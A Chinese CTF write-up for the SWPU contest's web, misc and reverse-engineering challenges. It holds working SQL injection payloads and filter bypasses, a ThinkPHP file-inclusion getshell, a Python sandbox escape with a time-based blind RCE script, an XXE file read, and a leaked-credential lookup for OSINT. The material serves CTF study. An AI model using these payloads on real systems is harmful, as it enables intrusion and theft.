本文作者:08067团队 (swpu第八届网络安全大赛Writeup)
本文属于安全脉搏原创金币奖励计划
转载请参考:https://www.secpulse.com/archives/61458.html
WEB
web题目大致有如下截图:
出题思路:考察php_screw加密和md5加密后的注入。
题目解法:备份文件index.php.bak,下载打开,可以发现代码经过加密处理。
右键查看源代码,可以发现注释里面的crypt key
可以发现是phpscrew加密,github上面搜索可以发现解密程序 根据https://github.com/firebroo/screwdecode解密即可
查看解密后的index.php.decode可以发现password经过md5(\$password,true)
提供个字符串ffifdyop,md5(\$password,true)加密后为’or’6,造成注入, 输入任意用户名,密码ffifdyop得flag:flag{mD51nject1onpHpscr3w_1nt3re5t1ng}
出题思路:本来是准备出另外一个洞的,偶然见看到了parse_url解析url的一个漏洞。然后决定出这个。
题目解法:首先进去时一个很明显的文件包含。
http://39.106.13.2/web2/file.php?file=index
然后在web2目录下有index这个文件,所以猜测这里有文件包含,右键查看源代码发现有个check.php的提示,
用php://filter/read=convert.base64-encode/resource=check可以读取源代码(之前配置出错然后回滚,导致有些师傅读的源码是之前写的源码,出题人已经被吊打)
<?php error_reporting(0); $_POST=Add_S($_POST); $_GET=Add_S($_GET); $_COOKIE=Add_S($_COOKIE); $_REQUEST=Add_S($_REQUEST); function Add_S($array){ foreach($array as $key=>$value){ if(!is_array($value)){ $check=preg_match('/regexp|like|and|\"|%|insert|update|delete|union|into|load_file|outfile|\/\*/i', $value); if($check) { exit("Stop hacking by using SQL injection!"); } }else{ $array[$key]=Add_S($array[$key]); } } return $array; } function check_url() { $url=parse_url($_SERVER['REQUEST_URI']); parse_str($url['query'],$query); $key_word=array("select","from","for","like"); foreach($query as $key) { foreach($key_word as $value) { foreach($key_word as $value) { if(preg_match("/".$value."/",strtolower($key))) { die("Stop hacking by using SQL injection!"); } } } } ?>
代码还是很简单的,其实就是parseurl对url解析的时候有问题///x.php?file=xxx这种格式会返回false,pregmatch就不会匹配到任何字符串了。 BUG#55111 所以最后的payload:http://39.106.13.2///web2/articleshowAll.php?aid=1'/(ascii(mid((select flag from flag)from(1)))>0)%23 最后写一个脚本就能跑出flag:flag{08067Fl4g_tsfaxiewinli}
出题思路:考点在于全局转义的情况下如何引入单引号,从而注入得到我们需要的字段(感谢 @xyz 的出题) 下载源码,可以看到做了全局转义,而在 session.class.php 中
<?php /** * Created by PhpStorm. * User: xyz * Date: 2017/7/4 * Time: 9:29 */ class session { function __construct(&$db, $session_id='', $session_table = 'session', $session_name='SESSID') { $this->dbConn = $db; $this->session_name = $session_name; $this->session_table = $session_table; $this->_ip = $this->real_ip(); if ($session_id == '' && !empty($_COOKIE[$this->session_name])) { $this->session_id = $_COOKIE[$this->session_name]; } else { $this->session_id = $session_id; } if ($this->session_id) { $tmp_session_id = substr($this->session_id, 0, 32); if ($this->gen_session_key($tmp_session_id) === substr($this->session_id, 32)) { $this->session_id = $tmp_session_id; } else { $this->session_id = ''; } } if ($this->session_id) { $this->load_session(); } else { $this->gen_session_id(); setcookie($this->session_name, $this->session_id . $this->gen_session_key($this->session_id)); } } function insert_session() { return $this->dbConn->query('INSERT INTO ' . $this->session_table . " (session_id, ip, data) VALUES ('" . $this->session_id ."', '". $this->_ip ."', 'a:2:{s:4:\"name\";s:5:\"guest\";s:5:\"score\";s:1:\"0\";}')"); } function load_session() { $res = $this->dbConn->query('SELECT data FROM ' . $this->session_table . " WHERE session_id = '" . $this->session_id . "' and ip = '" . $this->_ip . "'"); $session = $res->fetch_array(); if (empty($session)) { $this->insert_session(); } else { $GLOBALS['_SESSION'] = unserialize($session['data']); } } function update_session() { $data = serialize($GLOBALS['_SESSION']); $data = addslashes($data); return $this->dbConn->query('UPDATE ' . $this->session_table . " SET ip = '" . $this->_ip . "', data = '$data' WHERE session_id = '" . $this->session_id . "'"); } function gen_session_id() { $this->session_id = md5(uniqid(mt_rand(), true)); return $this->insert_session(); } function gen_session_key($session_id) { static $ip = ''; if ($ip == '') { $ip = substr($this->_ip, 0, strrpos($this->_ip, '.')); } return sprintf('%08x', crc32($ip . $session_id)); } function real_ip() { static $realip = NULL; if ($realip !== NULL) { return $realip; } if (isset($_SERVER)) { if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $realip = $_SERVER['HTTP_X_FORWARDED_FOR']; } elseif (isset($_SERVER['HTTP_CLIENT_IP'])) { $realip = $_SERVER['HTTP_CLIENT_IP']; } else { if (isset($_SERVER['REMOTE_ADDR'])) { $realip = $_SERVER['REMOTE_ADDR']; } else { $realip = '0.0.0.0'; } } } else { $realip = '0.0.0.0'; } return $realip; } }
直接是用拼接的方式进行数据库语句查询操作的,但我们可控变量都是放在单引号里包裹的,所以我们首要的是如何吃掉一个单引号,注意这两行代码:
$tmp_session_id = substr($this->session_id, 0, 32); if ($this->gen_session_key($tmp_session_id) == substr($this->session_id, 32)){ $this->session_id = $tmp_session_id; }
这里对 $this->session_id 做了截取,而 $this->session_id 的值是可以通过 $_COOKIE[$this->session_name] 控制的,所以我们可以通过在 cookie 里面传入 %00 ,这样经过全局转义后,赋值给 $this->session_id 就成了 ,然后截取32位字符串的时候就可以控制其截取出 \ 了。在这里如果直接传入 ' 的话,在后面进行 if 判断的时候,截取字符串剩余后面第一位就是 ' 了,无法通过逻辑。 对于这个验证逻辑,我们来看看 $this->gen_session_key() 函数:
function gen_session_key($session_id) { static $ip = ''; if ($ip == '') { $ip = substr($this->_ip, 0, strrpos($this->_ip, '.')); } return sprintf('%08x', crc32($ip . $session_id)); }
返回的是 16 进制的字符串,然后 ip 截取这里,我们只有控制不出现 . ,然后 $ip 就返回 false,这样返回的结果完全我们就可以控制了。于是我们构造 exp 如下:
再来看看注入代码:
<?php function gen_session_key($session_id) { static $ip = ''; if ($ip == '') { $ip = substr($_SERVER['HTTP_X_FORWARDED_FOR'], 0, strrpos($_SERVER['HTTP_X_FORWARDED_FOR'], '.')); }var_dump($ip); return sprintf('%08x', crc32($ip . $session_id)); } echo gen_session_key('123456789012345678901234567890P\\');//06908aa7 ?>
就一眼明白了,通过 xff 引入注入语句,控制 $session['data'] 的值,最后传入:
X-Forwarded-For: union select 0x613a323a7b733a343a226e616d65223b733a353a2261646d696e223b733a353a2273636f7265223b693a3130303b7d-- - Cookie: SESSID=123456789012345678901234567890P%006908aa7
出题思路:主要想的考点有几个:
1、thinkphp 路由规则
2、thinkphp 模板包含:$this->display($name);
3、thinkphp 模板中使用php代码的几种方式
这道题上线的时候有几个没注意的地方:
1、上线时没清缓存,使得在页面源代码直接出现的exp,有些师傅直接读到就开始打了(还好把自己传的图片删了)
2、之前以为是tp模板是默认不支持原生的php代码的,结果只是自己之前测试方式不对,导致包含出错,也导致了第三个考点根本没用上,不过也纠正了自己的误区(为师傅们打call)
<?php namespace Home\Controller; use Think\Controller; class IndexController extends Controller { public function _initialize(){ if(!is_login()){ redirect(U('Home/Login/login'));exit(); } } public function index(){ $where['id'] = intval(session('uid')); $info = M('users')->where($where)->find(); $this->assign('username', $info['username']); $this->assign('head_image', $info['head_image']); $this->display(); } //修改密码 public function repass(){ ! isset ( $_GET ['temp'] ) || $name = I ( 'get.temp', 'index', 'addslashes,htmlspecialchars'); if (IS_POST) { $login = D('users'); if (!$data = $login->create()) { // 防止输出中文乱码 header("Content-type: text/html; charset=utf-8"); $this->error($login->getError()); } $re_oldpass = md5(I('post.oldpassword')); $where['id'] = intval(session('uid')); $oldpass = M('users')->where($where)->getField('password'); if($re_oldpass === $oldpass){ $User = M('users'); //$User->password = $data; $User->where($where)->save($data); $this->success('修改密码成功,正跳转至系统首页...', U('Index/index')); } }else{ $this->display($name); } } //修改头像 public function rehead(){ ! isset ( $_GET ['temp'] ) || $name = I ( 'get.temp', 'index', 'addslashes,htmlspecialchars'); if (IS_POST) { if(!is_dir('./Upload/')){ @mkdir('./Upload', 0755, true); } $upload = new \Think\Upload();// 实例化上传类 $upload->maxSize = 3145728 ;// 设置附件上传大小 $upload->exts = array('jpg', 'png', 'jpeg');// 设置附件上传类型 $upload->rootPath = './Upload/'; // 设置附件上传根目录 $upload->savePath = ''; // 设置附件上传(子)目录 $upload->saveName = md5(time().mt_rand().session(uid)); // 上传文件 $info = $upload->upload(); if(!$info) {// 上传错误提示错误信息 $this->error($upload->getError()); }else{// 上传成功 $User = M('users'); $data['head_image'] = "/Upload/".$info['photo']['savepath']."/".$info['photo']['savename']; $where['id'] = intval(session('uid')); $User->where($where)->save($data); $this->success('上传成功!',U('Index/index')); } }else{ $this->display($name); } } /** * 用户注销 */ public function logout() { // 清楚所有session session(null); redirect(U('Login/login')); } }
可以看到,在修改密码和上传头像处,都是可以控制进入 $this->display()
函数的变量的,黑盒测试的时候,替换原本的 url 中的参数为 robots.txt
,即如下 url:http://39.106.11.158/web1/index.php/home/index/repass/temp/robots.txt.html
即可看到包含进了 robots.txt,加上有上传图片的功能,因此很容易想到可以包含上传的图片getshell。
需要注意的点:
1、包含的时候 url 模式需要由 PATHINFO模式 改成 兼容模式,同时包含路径是相对于 index.php 文件的位置的
2、包含的图片不能过大,不然会出错,本来以为默认禁止了原生 php 代码,这次题目里就没这次禁用到,如果平时遇到禁用了的情况,是可以通过传入 <php></php> 这种格式来的 shell 的,具体见 : ThinkPHP3.2完全开发手册--使用原生php代码
最后构造的exp:
http://39.106.11.158/web1/index.php?s=/home/index/repass&temp=./Upload/2017-11-04//5f3d47e74b2885c4e854abe4f06cf887.png
这是道社工题,找线索细心些就不难做,首先是个黑页,留了个QQ号直接放QQ里搜索,
可以查到一个 sonic monkey 账户,无需加好友(有些师傅加了好友尽说骚话(:з」∠) ,尴尬),空间没有设权限,进入空间从一堆动态中找到一条base64编码的说说
解码后
My Page : http://47.93.205.124:8001/
是一个个人主页的地址,访问是猴子的小金库,御剑扫一扫,发现后台
首页文章发表者就是用户名 sonic2011
右键查看源代码,发现页脚处留有邮箱 [email protected]
社工库走一发
帐号密码到手
用户:sonic2011 密码:019157f2299755ad90a3bb8473f8****
md5最后四位填充0-f任意即可,eg:019157f2299755ad90a3bb8473f81111
再md5解密一波得密码 2010sonic登陆得到flag
出题思路: 在日常渗透中,容易遇见基于nginx的waf,利用反向代理实现类似“云waf”的效果,nginx在处理数据时,如果数据超长,就会导致不会被带入waf模块导致绕过,里面的触发题目是去年的web4,网上百度就可以找到解法了题目解法:riji.php post传参 x=xxx(重复较多次)&id=-1 union select 1,2,flag from flag
出题思路:这其实是一个我想做的python在线代码编辑练习的站点,因为要考虑其安全性,所以我把文件读写,网络请求和一些危险模块ban掉了,这样就形成了一个沙盒,也就出现了这道题目。
从师傅们的payload可以看到大多是这几种:
__builtin__
[].__class__.__base__.__subclasses__()
魔术方法;
一些危险模块等
还有些师傅直接以为是pwn过沙盒,-。-!!但是其实没有那么复杂啊,这是一道web题,我后面给出的tips是:内置模块,内置函数,而python的内置模块百度下或者去官方还是很容易获得一个列表的,除去我ban掉的如os,sys等危险的模块,还有很多可以尝试的啊 .
我这里给出的利用是来自一个常见的内置模块:timeit.我相信很多初学python的人都会用到timeit模块来获取代码的执行时间,参看其文档可以看到这样的用法可以导致任意代码执行
#coding:utf-8 import timeit timeit.timeit("__import__('os').system('')", number=1)
还有一个模块platform,同样也可以的
import platform platform.popen('id', mode='r', bufsize=-1).read()
在timeit模块里利用import内置函数加载os模块,然后就可以任意命令执行了,但是cat flag
是没有回显的,因为返回的是代码的执行时间.再加上这里我把发起网络请求也给ban了,所以并不能通过cloudeye等外带通道获取命令执行的结果。
于是这里就有了我以前碰到的一种特殊情况:一个没有回显不能访问外网的命令执行,怎么获取返回的结果呢?答案是:time based rce
具体详情可以参看我的blog:http://icematcha.win/?p=532
最后写个类似盲注的脚本跑跑就出来了:
#coding:utf-8 #author:icematcha import requests import sys import base64 payloads = "QWERTYUIIOPASDFGHJKLZXCVBNM1234567890=" def request(url, data, timeout): try: res = requests.post(url, data = data, timeout = timeout) return res.content except: return True def get_length(url, cmd, timeout): length = '' for i in xrange(1,10): value = '''#!/usr/bin/python #coding:utf-8 import timeit timeit.timeit("__import__('os').system('if [ $(%s|base32|wc -c|cut -c %s) = ];then sleep 2;fi')", number=1) ''' % (cmd, i) data = {'process': value} res = request(url, data, timeout) if res: llength = i break for i in xrange(1, llength): for _ in xrange(1, 10): value = '''#!/usr/bin/python #coding:utf-8 import timeit timeit.timeit("__import__('os').system('if [ $(%s|base32|wc -c|cut -c %s) = %s ];then sleep 2;fi')", number=1) ''' % (cmd, i, _) data = {'process': value} if request(url, data, timeout): length += str(_) print length break return length def get_content(url, cmd, timeout, length): content = '' for i in xrange(1, int(length)+1): for payload in payloads: value = '''#!/usr/bin/python #coding:utf-8 import timeit timeit.timeit("__import__('os').system('if [ $(%s|base32|cut -c %s) = %s ];then sleep 2;fi')", number=1) ''' % (cmd, i, payload) data = {'process': value} if request(url, data, timeout): content += payload print content break return content if __name__ == '__main__': length = get_length('http://47.95.252.234/runcode','cat flag', 2.0) print "## The base32 of content's length is:%s" % length content = get_content('http://47.95.252.234/runcode', 'cat flag', 2.0, length) print "## The base32 of content is:%s" % content print "## The commend result content is:%s" % base64.b32decode(content).strip()
出题思路:很多厂商在修xxe的时候经常直接过滤<!ENTITY
就认为安全了,其实不然可参考http://wooyun.chamd5.org/bug_detail.php?wybug_id=wooyun-2014-059783
解题思路:这道题就是在过滤了<!ENTITY
的情况下实现xxe构造payload,xxe.dtd文件内容: <!ENTITY xxe SYSTEM "file:///flag">
MISC
misc题目大致有如下截图:
出题思路:这是一个签到题给师傅们熟悉一下我们提交的格式同时让师傅们开心下的解题思路:
下载jar文件直接拖入安卓分析软件中
查看源码
然后base64解密直接出结果flag{DajiDali_JinwanChiji}
出题思路:本来想的是做一段摩斯密码放进去的后来想出一个脑洞就做了这道题解题思路:这是一道有点脑洞的题我做好被骂的准备了。。。下载MP3文件听了一下没有莫斯密码再看题目中的fl?g???知道这是一个解密的口令然后有些大佬就直接脚本跑了如果没有暴力破解的话就只能好好看题题目中提到了两个关键程序猿的情人节第二个关键就是一生一世了咳咳脑洞有点大看密匙只有三位如果看过视频应该知道程序猿的情人节是5.22日因为522的十六进制就是1314所以这道题脑洞偏大~~~~直接解出来发现是base64加密解密flag:flag{i_l0ve_you}
出题思路:出完脑洞我想了一下应该有一个正规的隐写所以做出了这道隐写术题目解题思路:下载图片直接拖kali发现有隐藏文件改后缀发现是一个伪加密,查找文件头504b0304然后修改加密标志位09改为00然后将zip解压解压完成后我们看到了8个无后缀图片以及一张gif图我们愉快的排序,用stegsolve将八张图片排好序列之后就开始看图了第一张图片是winhex看到flag第二张图片扫码得到bilibili第三张图片是看属性详细信息还是base64解密silisili然后第四张图片是一个图种改后缀得到panama最后根据提示?????????就得出flag了flag:flag{bilibili_silisili_panama}
下载zip文件。伪加密,修改加密标志位,数据区(504b0304)加密标志位09改为00,文件目录区(504b0102),三个文件就有三个加密标志位,都从09改为00,再次解压即可,key.txt为曼彻斯特编码,01代表0,10代表1,脚本处理下:
#!/usr/bin/env python f = open('key.txt','r') f1 = open('asd.txt','w') for line in f.readlines(): content = '' for i in range(0,len(line),2): if line[i:i+2] == '10': content += '1' if line[i:i+2] == '01': content += '0' f1.write(content+'\n') f.close() f1.close()
然后能分辨出这是个二维码:
用python PIL库绘制出二维码:
#!/usr/bin/env python from PIL import Image im = Image.new('RGB',(100,100),0xffffff) im.save('blank.png','PNG') img = Image.open('blank.png') with open('asd.txt') as f: con = f.read() x,y,i = 0,0,0 length = len(con) while i<length: if con[i] == '\n': y+=1 x=0 i+=1 continue elif con[i]== '0': img.putpixel((x,y),(255,255,255)) elif con[i]== '1': img.putpixel((x,y),(0,0,0)) i+=1 x+=1 img.save('qr.png')
扫描得到一串aaencode,放chrome console里跑一下:
是一串不完整的密文,看的出来是base32,生成字典跑wpa握手包:
root@kali:~/Desktop# aircrack-ng lock.cap -w dict.txt
密码为 O42G4R3MOUYGYMJUJZGTGTTHGEYDCM27KNQWSS3POU====== ,base32解码后 w4nGlu0l14NM3Ng1013_SaiKou,然后打开flag.zip解压可得flag:flag{D3c0de1t4Nd_Cr4Ck_1t}
RE
re题目大致有如下截图:
查壳发现是C#的那就,且没加壳或者混淆,那就直接祭出Dnspy,通过搜索关键字符,来到关键处
然后发现如果输入长度不为5错误,我们按钮按下的值与4异或不等于contrast的值错误。所以最后得到需要输入08067然后得到flag:greet_08067
MFC程序无壳,有输入,那就直接下GetWinodowTextA 断点。然后然后回溯来到关键位置。输入后会首先判断输入文本长度是否与16相等。
继续向下就能找到关键跳转和关键CALL:
记下地址后,利用IAD分析:
交换完成后与”1H@Y1S0718760Dm3”做按位比较,如果全部相等则OK。那么变逆算法(直接贴代码):
#include <stdio.h> #include <windows.h> int main(void) { char flag[] = "1H@Y1S0718760Dm3"; int len = strlen(flag); char tmp; for (int i = len-3; i-2 >= -1; i-=2) { for (int j = len-4; j-4 >= -3; j-=4) { tmp = flag[j]; flag[j] = flag[j - 4]; flag[j - 4] = tmp; } tmp = flag[i]; flag[i] = flag[i -1]; flag[i-1] = tmp; } printf("%s\n", flag); system("pause"); return 0; }
最后得到flag:H1Y@D1708067S1m3
RE200其实通过是不会出现flag的,因为通关没有显示分值的那个页面,那这题要怎么做呢,用IDA看下字符窜,发现有08067,跟过去看看。其实多交叉调用几次你就能找到关键的地方。
然后直接在OD中调用该CALL
然后flag就出来了:
flag:S1M308067
先用PEid查下壳,再用插件看一下用没用加密算法:
无壳但是利用了DES加密算法,利用IDA确定加密算法用到的位置
记下地址之后,我们就开始过按钮的移动,再MFC中对于鼠标消息的处理有专门的函数,所以我们只要找到这个函数(利用GetWindowRect)然后段首retn就可以了。
因为DES 的加密函数和解密函数是相同的只是秘钥的顺序由原来的k1~k16变为了k16~k1,所以我们利用这个特性就能快速解题了.先在OD中跟到DES的位置:
然后找到key:
对key值进行交换:
因为最后与A8 13 9C DB 0E A5 9C 6C直接做比较,所以我们将我们的输入替换成A8 13 9C DB 0E A5 9C 6C,然后调用DESFunc:
最后得到flag:aHa_St0p
该题是VM代码段,但是没有加壳,版本是2.08,找到关键CALL后需要师傅们自己还原VM代码,这里就不做还原了(水平有限),就直接贴关键位置的源码了:
bool Math11(BYTE *Data) { int x, y, m, n; x = Data[0] * 1000 + Data[1] * 100 + Data[2] * 10 + Data[3]; y = Data[4] * 1000 + Data[5] * 100 + Data[6] * 10 + Data[7]; m = Data[8] * 1000 + Data[9] * 100 + Data[10] * 10 + Data[11]; n = Data[12] * 1000 + Data[13] * 100 + Data[14] * 10 + Data[15]; int a = 78041, b = 68335, c = 72299, d = 48000; if ((5 * x + 4 * y + 3 * m + 2 * n) != a) return false; if ((4 * x + 2 * y + 6 * m + 3 * n) != b) return false; if ((3 * x + y + 7 * m + 5 * n) != c) return false; if ((2 * x + 3 * y + 5 * m + n) != d) return false; return true; }
最后解方程便能得到flag:5457782311108067
用改之理打开可以看见有个so加密文件
放到IDA里面去看,找到程序入口点进去F5自后可以看见就是一个 就是一个明文比较
最后得出flag:KnAvE
本文作者:08067团队 (swpu第八届网络安全大赛Writeup)
本文属于安全脉搏原创金币奖励计划
转载请参考:https://www.secpulse.com/archives/61458.html